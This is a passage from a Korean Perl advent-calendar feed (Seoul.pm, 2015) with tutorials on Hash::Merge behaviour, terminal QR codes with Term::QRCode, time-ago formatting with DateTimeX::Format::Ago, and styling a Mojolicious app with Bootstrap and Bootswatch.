<code>set_behavior()</code> 함수가 지원하는 인자 종류는 다음과 같습니다.</p>
<ul>
<li><code>'LEFT_PRECEDENT'</code></li>
<li><code>'RIGHT_PRECEDENT'</code></li>
<li><code>'STORAGE_PRECEDENT'</code></li>
<li><code>'RETAINMENT_PRECEDENT'</code></li>
</ul>
<p>좌, 우는 이미 확인했고 나머지 두 개의 경우 <code>'STORAGE_PRECEDENT'</code>는 간단히 저장된 큰 값을 우선한다는 의미입니다.
즉, 스칼라보다는 배열을, 배열보다는 해시를 우선한다는 것이죠.
더불어 <code>'RETAINMENT_PRECEDENT'</code>는 두 해시 값을 합칠때
기존 한 값을 버리지 않고 배열로 저장한다는 의미입니다.</p>
<p>조금 복잡해보이지만 꽤나 상식적으로 동작하기 때문에
몇번만 사용해보면 금방 이해할 수 있습니다.
기본 동작 자체가 합치는, 즉 머지(merge)인 관계로 동일한 키에 대해
빈 해시나 빈 배열을 정의해서 해당 키 값을 초기화할 수 없다는 점만 주의하세요.</p>
<pre class="brush: perl;">
my %old = (
theme => 'ace',
category => {
jacket => { str => '상의', price => 10000 },
pants => { str => '바지', price => 10000 },
},
);
my %new = (
time_zone => 'Asia/Seoul',
category => {},
);
Hash::Merge::set_behavior('RIGHT_PRECEDENT');
my %result = %{ merge( \%old, \%new ) };
</pre>
<p>앞의 코드의 결과로 여러분은 <code>category</code> 키의 값이 빈 해시가
되길 바란다면 이것은 오해하고 있는 것입니다.
결과는 다음과 같습니다.</p>
<pre class="brush: perl;">
my %result = (
theme => 'ace',
time_zone => 'Asia/Seoul',
category => {
jacket => { str => '상의', price => 10000 },
pants => { str => '바지', price => 10000 },
},
);
</pre>
<p><code>category</code> 값을 비어있게 만들고 싶다면 명시적으로 <code>undef</code>를 사용해야 합니다.</p>
<pre class="brush: perl;">
my %old = (
theme => 'ace',
category => {
jacket => { str => '상의', price => 10000 },
pants => { str => '바지', price => 10000 },
},
);
my %new = (
time_zone => 'Asia/Seoul',
category => undef,
);
Hash::Merge::set_behavior('RIGHT_PRECEDENT');
my %result = %{ merge( \%old, \%new ) };
</pre>
<h2>정리하며</h2>
<p>펄(Perl) 프로그래밍 시 해시는 프로그래밍을 직관적이고 편하게 만들어주는 유용한 내장 도구입니다.
해시를 즐겨 사용하다보면 꼭 맞닥뜨리게 되는 두 해시의 내용 더하기는 비교적 간단히 보이지만,
합치는 루틴을 대충 작성할 경우, 해시의 복잡도가 커질수록 예상치 못한 버그를 맞닥뜨릴 것입니다.
두 해시를 합쳐야 할 일이 생긴다면 <a href="https://metacpan.org/pod/Hash::Merge">CPAN의 Hash::Merge 모듈</a>을 잊지마세요.</p>
<p>Enjoy Your Perl! ;-)</p>
<p><em>EOT</em></p>
2015-12-12T00:00:00+09:00keediQR 코드 ♡ 터미널http://advent.perl.kr/2015/2015-12-11.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p><a href="https://en.wikipedia.org/wiki/Barcode">바코드(barcode)</a>는 광학 기기가 판독할 수 있도록 고안된 굵기가 다른 흑백 막대로 조합시켜 만든 코드입니다.
전통적인 바코드는 서로 굵기가 다른 막대 모양의 이미지를 적절한 간격으로 배치해서 숫자나 문자를 표현합니다.
최근에는 <a href="https://en.wikipedia.org/wiki/QR_Code">QR 코드(QR code)</a>처럼 단순한 막대 모양이 아닌
사각형의 배열의 점으로 자료를 표현하는 2차원 코드도 개발되어 많은 양의 정보를 담기도 합니다.
QR 코드는 숫자나 영문자 뿐만 아니라 유니코드 문자를 담는데에
전혀 무리가 없기 때문에 활용도는 무궁무진합니다.
지금까지는 QR 코드를 이용하는 입장이었다면, 이번에는 반대로
전달하고 싶은 정보를 QR 코드로 제공한다면 어떨까요?
자신의 명령줄 프로그램에서 모바일 기기와 연동해서 정보를 전달해야 할 경우
해당 정보를 눈으로 보고 일일이 모바일 기기로 옮겨 적을 것이 아니라
QR 코드를 터미널에 <strong>짠!</strong>하고 뿌려준다면 손쉽게 정보를 보내줄 수 있겠죠?</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Term::QRCode">CPAN의 Term::QRCode 모듈</a></li>
</ul>
<p><a href="https://metacpan.org/pod/Term::QRCode">Term::QRCode 모듈</a>은 내부적으로 <a href="https://metacpan.org/pod/Text::QRCode">CPAN의 Text::QRCode 모듈</a>을
사용하고 있는데 이 의존 모듈은 <a href="http://fukuchi.org/works/qrencode/">libqrencode 라이브러리</a>를 사용하는
XS 모듈이기 때문에 관련 패키지 설치가 필요합니다.
데비안 계열의 리눅스를 사용하고 있다면 다음 명령을 이용해서 패키지를 설치합니다.</p>
<pre class="brush: bash;">
$ sudo apt-get install libqrencode-dev
</pre>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Term::QRCode
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Term::QRCode
</pre>
<h2 id="qr">터미널에 QR 코드라고?</h2>
<p>네? 터미널에 QR 코드라구요?
음, 그러고 보니 QR 코드 자체는 옛날 흑백 TV의 노이즈 처럼 생겼습니다.
다행히 사선이라던가, 곡선과 같은 패턴 없이 흰 공백과 검은 네모로 이루어져있죠.
아! 그렇다면 혹시...?</p>
<p>네 맞습니다. 바로 <a href="https://en.wikipedia.org/wiki/ANSI_escape_code">ANSI 제어 문자</a>를 이용하는 거죠!
간단한 문자열을 담고 있는 QR 코드를 생성해보죠.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use Term::QRCode;
print Term::QRCode->new->plot( '2015 Seoul.pm 펄 크리스마스 달력' ) . "\n";
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<p><img src="2015-12-11-1_r.png" alt="qrcode" id="qrcode" />
<em>그림 1.</em> QR 코드 - 기본 (<a href="2015-12-11-1.png">원본</a>)</p>
<p>호오! 터미널인데도 불구하고 일반적으로 우리가 흔히 볼 수 있는
QR 코드와 동일한 모양의 이미지가 출력되는군요.</p>
<h2>출력 색상 조정</h2>
<p>QR 코드는 결국 0과 1의 정보를 흰 네모 또는 검은 네모로 표시하고 있습니다.
가장 끝 테두리는 <strong>quiet zone</strong>이며, 세 귀퉁이는 QR 코드가 회전하거나
비뚤어져 있어도 인식할 수 있도록 <strong>위치</strong> 정보를 가지고 있으며,
그 이외에 몇가지 버전 및 형식 정보를 제외한 대부분의 이미지는 데이터 영역이죠.
즉 꼭 QR 코드가 흰색과 검정색이어야만 하는 것은 아닙니다.
QR 코드의 색상도 얼마든지 조정해도 인식에 문제가 없으며,
물론 터미널에서 색상을 조정하는 것도 어렵지 않습니다.
딱히 특별한 기능은 아니지만 모듈 공식 페이지에 해당 인자가
언급되어 있지 않아 모르고 넘어가는 경우가 많아 소개합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use Term::QRCode;
my $qrcode = Term::QRCode->new(
white => 'on_black',
black => 'on_white',
);
print $qrcode->plot('2015 Seoul.pm 펄 크리스마스 달력') . "\n";
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<p><img src="2015-12-11-2_r.png" alt="qrcode-invert" id="qrcode-invert" />
<em>그림 2.</em> QR 코드 - 반전 (<a href="2015-12-11-2.png">원본</a>)</p>
<p>대충 보면 똑같아 보이지만, 눈이 아프더라도 자세히 살펴보면
이전과 달리 흰색과 검정색 부분이 반전 된 것을 알 수 있습니다.</p>
<p>기본 칼라 터미널이라도 <a href="https://en.wikipedia.org/wiki/ANSI_escape_code">ANSI 제어 문자</a>가
허용하는 대부분의 색상을 이용할 수 있지만 여러분의 터미널이
256색상을 지원한다면(2015년 기준 당연히 지원하겠지만
특별히 지정하지 않았다면 기본으로는 16색상 지원입니다. :),
더욱 다양한 색상을 이용해서 QR 코드를 출력할 수 있습니다.</p>
<pre class="brush: perl;">
my $qrcode = Term::QRCode->new(
white => 'on_rgb151',
black => 'on_bright_blue',
);
</pre>
<p><img src="2015-12-11-3_r.png" alt="qrcode-256" id="qrcode-256" />
<em>그림 2.</em> QR 코드 - 256색 (<a href="2015-12-11-3.png">원본</a>)</p>
<p>이야, 터미널에 이렇게 영롱한 QR 코드가 출력되다니 감동이네요. :-)</p>
<h2>정리하며</h2>
<p>전통적인 바코드는 워낙 단순하기 때문에 인식 속도가 빠르며,
저렴한 가격에 리더기를 확보할 수 있는 것이 가장 큰 장점입니다.
그에 비해 QR 코드는 상대적으로 복잡하기 때문에 인식 속도가 느리며,
리더기 가격이 높다는 것이 단점이어 보급이 주춤했었죠.
하지만 최근 스마트폰의 폭발적인 보급 덕에 일상적으로 QR 코드를 사용하는데
지장이 없는 수준까지 1인 1 QR 코드리더기를 확보하게 된 셈이며,
고사양의 스마트폰 덕분에 인식 속도도 사용에 무리가 없을 정도로 빨라졌답니다.
즉, 여러분의 명령줄용 프로그램이 모바일 기기와 정보를 주고 받아야 할 일이 있을때
QR 코드를 사용하는데 있어 주저할 필요가 없다는 의미입니다.</p>
<p>Enjoy Your Perl! ;-)</p>
<p><em>EOT</em></p>
2015-12-11T00:00:00+09:00keeditime-ago 구하기http://advent.perl.kr/2015/2015-12-10.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>요즘은 트위터나 페이스북 같은 유명한 SNS 덕분에(때문에)
time-ago 식 표현이 널리 사용된지 몇 년 되었죠.
자바스크립트를 비롯해 대부분의 언어에는 이런 time-ago 형식으로
시간을 표시할 수 있는 모듈이나 플러그인이 많습니다.
그렇다면 펄에서는 어떻게 사용해야 할까요?</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/DateTimeX::Format::Ago">CPAN의 DateTimeX::Format::Ago 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan DateTimeX::Format::Ago
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan DateTimeX::Format::Ago
</pre>
<h2 id="time-ago">Time-Ago?</h2>
<p>time-ago 표시 법이란 특정 시점의 날짜를 우리가 흔히 사용하는
<code>YYYY-MM-DD hh:mm:ss</code> 등의 절대 시각으로 표시하는 것이 아니라
현재 시점을 기준으로 얼마나 지났는지 상대적인 시각으로 표현하는 방법입니다.
백마디 말 보다 한 줄의 코드가 더 명확겠죠?
현재 시점을 기준으로 3일 전을 표현해보죠.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use warnings;
use DateTime;
use DateTimeX::Format::Ago;
my $then = DateTime->now( time_zone => 'Asia/Seoul' )->subtract( days => 3 );
print DateTimeX::Format::Ago->format_datetime($then) . "\n";
</pre>
<p>명령줄에서 실행해보죠.</p>
<pre class="brush: bash;">
$ perl timeago.pl
Wide character in print at timeago.pl line 8.
3일 전
$
</pre>
<p>우와!? time-ago 형식의 결과가 나오는 것은 둘째 치고도
별 기대하지도 않았던 한글이 나오는데요?
<code>DateTimeX::Format::Ago</code> 모듈은 <a href="http://twitter.com/#!/JEEN_LEE">@JEEN_LEE</a>님의
패치 덕에 0.003 버전 부터 한국어를 지원한답니다.</p>
<p>결과물을 유심히 보면 <code>Wide character...</code> 경고가 나오죠?
이는 인코딩과 관련된 이슈로 조금 더 정확하게 코드를 수정해서
경고가 나오지 않도록 해보죠.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use DateTime;
use DateTimeX::Format::Ago;
binmode STDOUT, 'encoding(UTF-8)';
my $then = DateTime->now( time_zone => 'Asia/Seoul' )->subtract( days => 3 );
print DateTimeX::Format::Ago->format_datetime($then) . "\n";
</pre>
<p>인코딩 문제를 해결하는 방법은 여러가지가 있지만,
현재 소스 코드를 <code>utf8</code>로 지정하고 출력 화면의 인코딩을 명시적으로
<code>UTF-8</code>로 지정하는 것이 가장 명확하고 간결한 해결책입니다.</p>
<pre class="brush: bash;">
$ perl timeago.pl
3일 전
$
</pre>
<p>이제 괜찮죠?</p>
<h2>다국어 지원</h2>
<p><code>DateTimeX::Format::Ago</code> 모듈은 이전의 한국어 출력 결과에서
알 수 있듯이 이미 다국어를 지원하고 있습니다.
내부적으로 <code>ENV</code> 환경 변수와 생성자 옵션을 이용해서 출력할
time-ago 결과 문자열의 다국어 버전을 지정할 수 있습니다.</p>
<p>환경 변수를 이용하는 방법은 다음과 같습니다.</p>
<pre class="brush: bash;">
$ LANG=en perl timeago.pl
3 days ago
$
</pre>
<p>생성자를 이용하려면 코드를 조금 수정해야 합니다.
독일어로 출력해볼까요?</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use DateTime;
use DateTimeX::Format::Ago;
binmode STDOUT, 'encoding(UTF-8)';
my $then = DateTime->now( time_zone => 'Asia/Seoul' )->subtract( days => 3 );
print DateTimeX::Format::Ago->new( language => 'de' )->format_datetime($then) . "\n";
</pre>
<p>독일어로도 잘 출력되는군요.</p>
<pre class="brush: bash;">
$ perl timeago.pl
vor 3 Tagen
$
</pre>
<h2>정리하며</h2>
<p>처음에 트위터나 페이스북이 나왔던 시절만 해도 time-ago 형식은 꽤나 신기했죠.
지금은 거의 대부분의 사이트나 모바일 응용에서 사용하고 있기 때문에
일반인에게도 많이 익숙한 형식입니다.
심지어 time-ago 형식을 더 편하게 느끼시는 분들도 제법 많구요.
다국어도 지원하는 <code>DateTimeX::Format::Ago</code> 모듈을 사용하면 요즘 트렌드에
맞게 시각 정보를 표현하는 것은 무척 간단하답니다.</p>
<p>Enjoy Your Perl! ;-)</p>
<p><em>EOT</em></p>
2015-12-10T00:00:00+09:00keediBootstrap + Bootswatch + Mojolicious::Plugin::Bootstrap3 삼종셋트http://advent.perl.kr/2015/2015-12-09.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p><a href="http://advent.perl.kr/2015/2015-12-07.html">일곱 번째 기사</a>와 더불어 이번에도 삼종셋트 시리즈입니다. :-)
웹 화면에서 미려하면서도 통일된 디자인은 무척 중요합니다.
이전 기사와 마찬가지로 오픈 소스로 공개된 많은 디자인 관련 라이브러리 중
펄(Perl)과 <a href="http://mojolicio.us/">Mojolicious</a>와 함께 간단히 사용하는 것 만으로
웹 화면의 품질을 월등히 높일 수 있답니다.
<a href="http://getbootstrap.com/">Bootstrap</a>은 현재 가장 유명한 반응형 HTML, CSS, JS 오픈소스 프레임워크이며,
<a href="https://bootswatch.com/">Bootswatch</a>는 Bootsrap을 위한 무료 오픈소스 테마입니다.
더불어 <a href="https://metacpan.org/pod/Mojolicious::Plugin::Bootstrap3">CPAN의 Mojolicious::Plugin::Bootstrap3 모듈</a>은
Mojolicious에서 Bootstrap과 Bootswatch를 손쉽게 사용할 수 있게 도와주는 플러그인입니다.
역시 이번에도 얼마나 간단히 이 삼종셋트를 이용할 수 있는지 궁금하지 않나요?</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Mojolicious">CPAN의 Mojolicious 모듈</a></li>
<li><a href="https://metacpan.org/pod/Mojolicious::Plugin::Bootstrap3">CPAN의 Mojolicious::Plugin::Bootstrap3 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
Mojolicious \
Mojolicious::Plugin::Bootstrap3
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
Mojolicious \
Mojolicious::Plugin::Bootstrap3
</pre>
<h2 id="mojolicious">Mojolicious</h2>
<p><a href="http://mojolicio.us/">Mojolicious</a>는 인기있는 펄의 경량 웹 프레임워크입니다.
간단히 <code>Mojolicious</code>를 이용해서 당장 돌릴 수 있는 최소한의 페이지를 꾸며보죠.
웹에서 해당 주소의 가장 첫 페이지를 의미하는 랜딩 페이지(landing page) 정도면 적당하겠죠?
<a href="http://getbootstrap.com/examples/jumbotron/">Bootstrap 예제 중 점보트론 페이지</a>를
이용해서 테스트하면 적당할 것 같네요.</p>
<p>명령줄에서 다음 명령을 실행합니다.</p>
<pre class="brush: bash;">
$ mkdir jumbotron
$ cd jumbotron
$ mojo generate lite_app jumbotron.pl
[exist] /home/askdna/jumbotron
[write] /home/askdna/jumbotron/jumbotron.pl
[chmod] /home/askdna/jumbotron/jumbotron.pl 744
$
</pre>
<p>생성된 <code>jumbotron.pl</code> 파일의 내용은 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Mojolicious::Lite;
# Documentation browser under "/perldoc"
plugin 'PODRenderer';
get '/' => sub {
my $c = shift;
$c->render(template => 'index');
};
app->start;
__DATA__
@@ index.html.ep
% layout 'default';
% title 'Welcome';
Welcome to the Mojolicious real-time web framework!
@@ layouts/default.html.ep
<!DOCTYPE html>
<html>
<head><title><%= title %></title></head>
<body><%= content %></body>
</html>
</pre>
<p>기존 파일의 내용에 연연하지 말고 <code>jumbotron.pl</code> 파일을 다음처럼 바꿔 볼까요?</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Mojolicious::Lite;
get "/" => "index";
app->start;
__DATA__
@@ index.html.ep
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<meta name="description" content="">
<meta name="author" content="">
<title>Jumbotron Template for Seoul.pm Advent Calendar</title>
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="navbar-collapse collapse">
<form class="navbar-form navbar-right">
<div class="form-group">
<input type="text" placeholder="Email" class="form-control">
</div>
<div class="form-group">
<input type="password" placeholder="Password" class="form-control">
</div>
<button type="submit" class="btn btn-success">Sign in</button>
</form>
</div><!--/.navbar-collapse -->
</div>
</nav>
<!-- Main jumbotron for a primary marketing message or call to action -->
<div class="jumbotron">
<div class="container">
<h1>Hello, world!</h1>
<p>This is a template for a simple marketing or informational website. It includes a large callout called a jumbotron and three supporting pieces of content. Use it as a starting point to create something more unique.</p>
<p><a class="btn btn-primary btn-lg" href="#" role="button">Learn more &raquo;</a></p>
</div>
</div>
<div class="container">
<!-- Example row of columns -->
<div class="row">
<div class="col-md-4">
<h2>Heading</h2>
<p>Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Etiam porta sem malesuada magna mollis euismod. Donec sed odio dui. </p>
<p><a class="btn btn-default" href="#" role="button">View details &raquo;</a></p>
</div>
<div class="col-md-4">
<h2>Heading</h2>
<p>Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Etiam porta sem malesuada magna mollis euismod. Donec sed odio dui. </p>
<p><a class="btn btn-default" href="#" role="button">View details &raquo;</a></p>
</div>
<div class="col-md-4">
<h2>Heading</h2>
<p>Donec sed odio dui. Cras justo odio, dapibus ac facilisis in, egestas eget quam. Vestibulum id ligula porta felis euismod semper. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus.</p>
<p><a class="btn btn-default" href="#" role="button">View details &raquo;</a></p>
</div>
</div>
<hr>
<footer>
<p>&copy; 2015 Company, Inc.</p>
</footer>
</div> <!-- /container -->
</body>
</html>
</pre>
<p>자, 이제 화면에 작성한 점보트론 화면이 잘 나타나는지 확인해보죠.
명령줄에서 다음 명령을 실행해서 웹 응용을 구동시킵니다.</p>
<pre class="brush: bash;">
$ morbo jumbotron.pl
Server available at http://127.0.0.1:3000
[Fri Dec 4 08:51:39 2015] [debug] Your secret passphrase needs to be changed
</pre>
<p>브라우저에서 <code>http://localhost:3000</code> 주소로 접속해서 화면을 살펴보세요.</p>
<p><img src="2015-12-09-1_r.png" alt="jumbotron without bootstrap" id="jumbotronwithoutbootstrap" />
<em>그림 1.</em> 첫 번째 버전 - without Bootstrap (<a href="2015-12-09-1.png">원본</a>)</p>
<p>일단 점보트론 페이지가 보이는 것을 확인했습니다.
Bootstrap 자원을 전혀 적재하지 않았기 때문에 무척 수수하게 보입니다.</p>
<h2 id="bootstrapmojolicious::plugin::bootstrap3">Bootstrap + Mojolicious::Plugin::Bootstrap3</h2>
<p><code>Mojolicious::Plugin::Bootstrap3</code> 모듈을 사용하려면 <code>Mojolicious</code> 웹 응용 코드에
해당 플러그인을 적재하는 코드를 추가해야 합니다. </p>
<pre class="brush: perl;">
...
use Mojolicious::Lite;
plugin "bootstrap3";
...
</pre>
<p>플러그인을 적재한 뒤에는 템플릿 영역에서 <code>asset</code> 키워드를 이용해
Bootstrap 관련 정적 파일을 HTML에 적재할 수 있습니다.
<code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역 중
<code>head</code> 태그 영역을 다음 내용으로 대체합니다.</p>
<pre class="brush: xml;">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<meta name="description" content="">
<meta name="author" content="">
<!-- Bootstrap -->
%= asset "bootstrap.css"
%= asset "bootstrap.js"
<title>Jumbotron Template for Seoul.pm Advent Calendar</title>
</head>
</pre>
<p>브라우저로 접속해서 화면을 살펴보세요.</p>
<p><img src="2015-12-09-2_r.png" alt="jumbotron with bootstrap" id="jumbotronwithbootstrap" />
<em>그림 2.</em> 두 번째 버전 - with Bootstrap (<a href="2015-12-09-2.png">원본</a>)</p>
<p>"Hello, world!" 배너가 조금 위로 치우친 것만 빼면 제법 비슷하군요.
CSS를 약간만 수정해보죠.</p>
<p><code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역 중
<code>head</code> 태그 영역에 CSS를 추가합니다.</p>
<pre class="brush: xml;">
...
<!-- Bootstrap -->
%= asset "bootstrap.css"
%= asset "bootstrap.js"
<title>Jumbotron Template for Seoul.pm Advent Calendar</title>
<style>
/* Move down content because we have a fixed navbar that is 50px tall */
body {
padding-top: 50px;
padding-bottom: 20px;
}
</style>
...
</pre>
<p>이제 Bootstrap 홈페이지의 점보트론 예제와 거의 비슷하죠? :-)</p>
<p><img src="2015-12-09-3_r.png" alt="jumbotron with bootstrap + css" id="jumbotronwithbootstrapcss" />
<em>그림 3.</em> 세 번째 버전 - with Bootstrap + CSS (<a href="2015-12-09-3.png">원본</a>)</p>
<h2 id="bootswatchmojolicious::plugin::bootstrap3">Bootswatch + Mojolicious::Plugin::Bootstrap3</h2>
<p><code>Mojolicious::Plugin::Bootstrap3</code> 모듈은 이미 모듈 자체적으로
Bootswatch 테마를 지원하기 때문에 플러그인 적재 시점에 간단히
사용할 Bootswatch를 지정하고 해당 CSS를 사용하도록만 수정하면
Bootswatch가 자동으로 적용됩니다.</p>
<p><code>Mojolicious::Plugin::Bootstrap3</code> 모듈 적재 영역의 코드를 다음처럼 수정합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Mojolicious::Lite;
plugin "bootstrap3" => {
theme => {
paper => "https://bootswatch.com/paper/_bootswatch.scss",
},
};
...
</pre>
<p><code>theme</code> 키 하부의 <code>paper</code> 키는 플러그인이 인지할 수 있도록 사용자가
지정하는 값으로 <code>paper.css</code>로 접근합니다.
뒤의 링크 주소는 Bootswatch 공식 홈페이지에서 제공하는 <a href="https://bootswatch.com/paper/">paper 테마</a>의 <a href="https://bootswatch.com/paper/_bootswatch.scss">SCSS 파일 주소</a>입니다.</p>
<p><code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역 중
<code>head</code> 태그 영역 에서 <code>asset</code>으로 부트스트랩을 적재하던 부분을
다음처럼 수정합니다.</p>
<pre class="brush: xml;">
<!-- Bootstrap + Bootswatch -->
%= asset "paper.css"
%= asset "bootstrap.js"
</pre>
<p><img src="2015-12-09-4_r.png" alt="jumbotron with bootstrap + css" id="jumbotronwithbootstrapcss" />
<em>그림 4.</em> 네 번째 버전 - with Bootswatch 'paper' 테마 (<a href="2015-12-09-4.png">원본</a>)</p>
<p>짜잔~! 간단하죠? ;-)</p>
<h2>전체 코드</h2>
<p>전체 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Mojolicious::Lite;
plugin "bootstrap3" => {
theme => {
paper => "https://bootswatch.com/paper/_bootswatch.scss",
},
};
get "/" => "index";
app->start;
__DATA__
@@ index.html.ep
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<meta name="description" content="">
<meta name="author" content="">
<!-- Bootstrap + Bootswatch -->
%= asset "paper.css"
%= asset "bootstrap.js"
<title>Jumbotron Template for Seoul.pm Advent Calendar</title>
<style>
/* Move down content because we have a fixed navbar that is 50px tall */
body {
padding-top: 50px;
padding-bottom: 20px;
}
</style>
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="navbar-collapse collapse">
<form class="navbar-form navbar-right">
<div class="form-group">
<input type="text" placeholder="Email" class="form-control">
</div>
<div class="form-group">
<input type="password" placeholder="Password" class="form-control">
</div>
<button type="submit" class="btn btn-success">Sign in</button>
</form>
</div><!--/.navbar-collapse -->
</div>
</nav>
<!-- Main jumbotron for a primary marketing message or call to action -->
<div class="jumbotron">
<div class="container">
<h1>Hello, world!</h1>
<p>This is a template for a simple marketing or informational website. It includes a large callout called a jumbotron and three supporting pieces of content. Use it as a starting point to create something more unique.</p>
<p><a class="btn btn-primary btn-lg" href="#" role="button">Learn more &raquo;</a></p>
</div>
</div>
<div class="container">
<!-- Example row of columns -->
<div class="row">
<div class="col-md-4">
<h2>Heading</h2>
<p>Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Etiam porta sem malesuada magna mollis euismod. Donec sed odio dui. </p>
<p><a class="btn btn-default" href="#" role="button">View details &raquo;</a></p>
</div>
<div class="col-md-4">
<h2>Heading</h2>
<p>Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Etiam porta sem malesuada magna mollis euismod. Donec sed odio dui. </p>
<p><a class="btn btn-default" href="#" role="button">View details &raquo;</a></p>
</div>
<div class="col-md-4">
<h2>Heading</h2>
<p>Donec sed odio dui. Cras justo odio, dapibus ac facilisis in, egestas eget quam. Vestibulum id ligula porta felis euismod semper. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus.</p>
<p><a class="btn btn-default" href="#" role="button">View details &raquo;</a></p>
</div>
</div>
<hr>
<footer>
<p>&copy; 2015 Company, Inc.</p>
</footer>
</div> <!-- /container -->
</body>
</html>
</pre>
<h2>정리하며</h2>
<p><a href="http://getbootstrap.com/">Bootstrap</a> + <a href="https://bootswatch.com/">Bootswatch</a> + <a href="https://metacpan.org/pod/Mojolicious::Plugin::Bootstrap3">Mojolicious::Plugin::Bootstrap3</a> 삼종셋트는 어떠셨나요?
<a href="http://advent.perl.kr/2015/2015-12-07.html">이전 삼종셋트</a> 만큼이나 간단하죠?
오픈소스 프레임워크와 오픈소스 테마를 이용해서 웹을 만든다는 것은 정말 즐거운 일입니다.
